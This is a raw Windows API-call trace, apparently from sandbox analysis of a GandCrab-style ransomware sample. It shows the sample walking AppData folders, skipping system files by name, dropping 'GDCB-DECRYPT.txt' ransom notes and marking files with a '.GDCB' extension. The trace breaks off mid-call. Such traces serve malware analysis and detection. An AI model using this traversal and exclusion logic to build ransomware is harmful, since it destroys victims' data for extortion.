[0135.703] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.703] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.703] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.703] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.703] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.703] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.703] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\GDCB-DECRYPT.txt" [0135.703] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\GDCB-DECRYPT.txt") returned 86 [0135.703] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\GDCB-DECRYPT.txt") returned 86 [0135.703] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\GDCB-DECRYPT.txt") returned 86 [0135.703] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\GDCB-DECRYPT.txt") returned 86 [0135.704] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.704] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.704] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.704] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.704] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.704] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.704] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.704] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.704] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.704] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\", lpString2="Normal.dotm.GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm.GDCB" [0135.704] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm.GDCB") returned 74 [0135.704] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm.GDCB") returned 74 [0135.704] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\", lpString2="Process Map for Basic Flowchart.xltx.GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Basic Flowchart.xltx.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Basic Flowchart.xltx.GDCB" [0135.704] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Basic Flowchart.xltx.GDCB") returned 99 [0135.704] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Basic Flowchart.xltx.GDCB") returned 99 [0135.704] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\", lpString2="Process Map for Cross-Functional Flowchart.xltx.GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Cross-Functional Flowchart.xltx.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Cross-Functional Flowchart.xltx.GDCB" [0135.704] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Cross-Functional Flowchart.xltx.GDCB") returned 110 [0135.704] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Cross-Functional Flowchart.xltx.GDCB") returned 110 [0135.704] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\", lpString2="Stock symbols comparison.xltm.GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Stock symbols comparison.xltm.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Stock symbols comparison.xltm.GDCB" [0135.704] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Stock symbols comparison.xltm.GDCB") returned 92 [0135.704] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Stock symbols comparison.xltm.GDCB") returned 92 [0135.704] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\", lpString2="Welcome to Excel.xltx.GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Welcome to Excel.xltx.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Welcome to Excel.xltx.GDCB" [0135.704] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Welcome to Excel.xltx.GDCB") returned 84 [0135.704] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Welcome to Excel.xltx.GDCB") returned 84 [0135.704] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="tubcvd.exe" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe" [0135.704] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe") returned 58 [0135.704] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe") returned 58 [0135.704] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="UProof" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof" [0135.704] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\" [0135.705] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.705] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.705] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.705] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.705] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\") returned 55 [0135.705] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\*" [0135.705] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\*", lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0x2c7900 [0135.705] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.705] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.705] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.705] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.705] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.705] lstrcmpW (lpString1="CUSTOM.DIC", lpString2=".") returned 1 [0135.705] lstrcmpW (lpString1="CUSTOM.DIC", lpString2="..") returned 1 [0135.705] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\", lpString2="CUSTOM.DIC" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC" [0135.705] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC") returned 65 [0135.705] lstrcmpW (lpString1=".DIC", lpString2=".sql") returned -1 [0135.705] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.705] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.705] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.705] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\GDCB-DECRYPT.txt" [0135.705] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\GDCB-DECRYPT.txt") returned 71 [0135.705] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.705] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0 [0135.705] FindClose (in: hFindFile=0x2c7900 | out: hFindFile=0x2c7900) returned 1 [0135.705] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\\\GDCB-DECRYPT.txt") returned 72 [0135.706] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\uproof\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.706] GetLastError () returned 0x50 [0135.706] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\") returned 55 [0135.706] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\*" [0135.706] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\*", lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0x2c7640 [0135.706] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\", lpString2="CUSTOM.DIC" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC" [0135.706] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC") returned 65 [0135.706] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC") returned 65 [0135.706] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\GDCB-DECRYPT.txt" [0135.706] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\GDCB-DECRYPT.txt") returned 71 [0135.706] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\GDCB-DECRYPT.txt") returned 71 [0135.706] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\GDCB-DECRYPT.txt") returned 71 [0135.706] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\GDCB-DECRYPT.txt") returned 71 [0135.706] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.707] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.707] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.707] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.707] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.707] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.707] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.707] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.707] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.707] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Vault" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault" [0135.707] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault\\" [0135.707] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.707] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.707] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.707] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.707] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault\\") returned 54 [0135.707] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault\\*" [0135.707] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault\\*", lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0x2c7900 [0135.707] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.707] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.707] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.707] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.707] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.707] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.707] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.707] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault\\GDCB-DECRYPT.txt" [0135.707] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault\\GDCB-DECRYPT.txt") returned 70 [0135.708] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.708] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0 [0135.708] FindClose (in: hFindFile=0x2c7900 | out: hFindFile=0x2c7900) returned 1 [0135.708] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault\\\\GDCB-DECRYPT.txt") returned 71 [0135.708] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\vault\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.708] GetLastError () returned 0x50 [0135.708] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault\\") returned 54 [0135.708] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault\\*" [0135.708] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault\\*", lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0x2c7900 [0135.709] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault\\GDCB-DECRYPT.txt" [0135.709] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault\\GDCB-DECRYPT.txt") returned 70 [0135.709] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault\\GDCB-DECRYPT.txt") returned 70 [0135.709] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault\\GDCB-DECRYPT.txt") returned 70 [0135.709] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault\\GDCB-DECRYPT.txt") returned 70 [0135.709] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.709] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.709] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.709] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.709] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.709] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.709] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.709] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.709] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.709] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Windows" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows" [0135.709] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\" [0135.709] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.709] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.709] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.709] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.709] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\") returned 56 [0135.709] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\*" [0135.709] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\*", lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0x2c7640 [0135.709] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.709] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.709] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.709] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.709] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.709] lstrcmpW (lpString1="AccountPictures", lpString2=".") returned 1 [0135.709] lstrcmpW (lpString1="AccountPictures", lpString2="..") returned 1 [0135.709] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\", lpString2="AccountPictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures" [0135.709] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures") returned 71 [0135.709] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.709] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.709] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.709] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\GDCB-DECRYPT.txt" [0135.709] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\GDCB-DECRYPT.txt") returned 72 [0135.709] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.709] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.709] lstrcmpW (lpString1="Libraries", lpString2=".") returned 1 [0135.709] lstrcmpW (lpString1="Libraries", lpString2="..") returned 1 [0135.709] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\", lpString2="Libraries" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries" [0135.709] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries") returned 65 [0135.709] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.710] lstrcmpW (lpString1="Network Shortcuts", lpString2=".") returned 1 [0135.710] lstrcmpW (lpString1="Network Shortcuts", lpString2="..") returned 1 [0135.710] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\", lpString2="Network Shortcuts" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts" [0135.710] lstrlenW 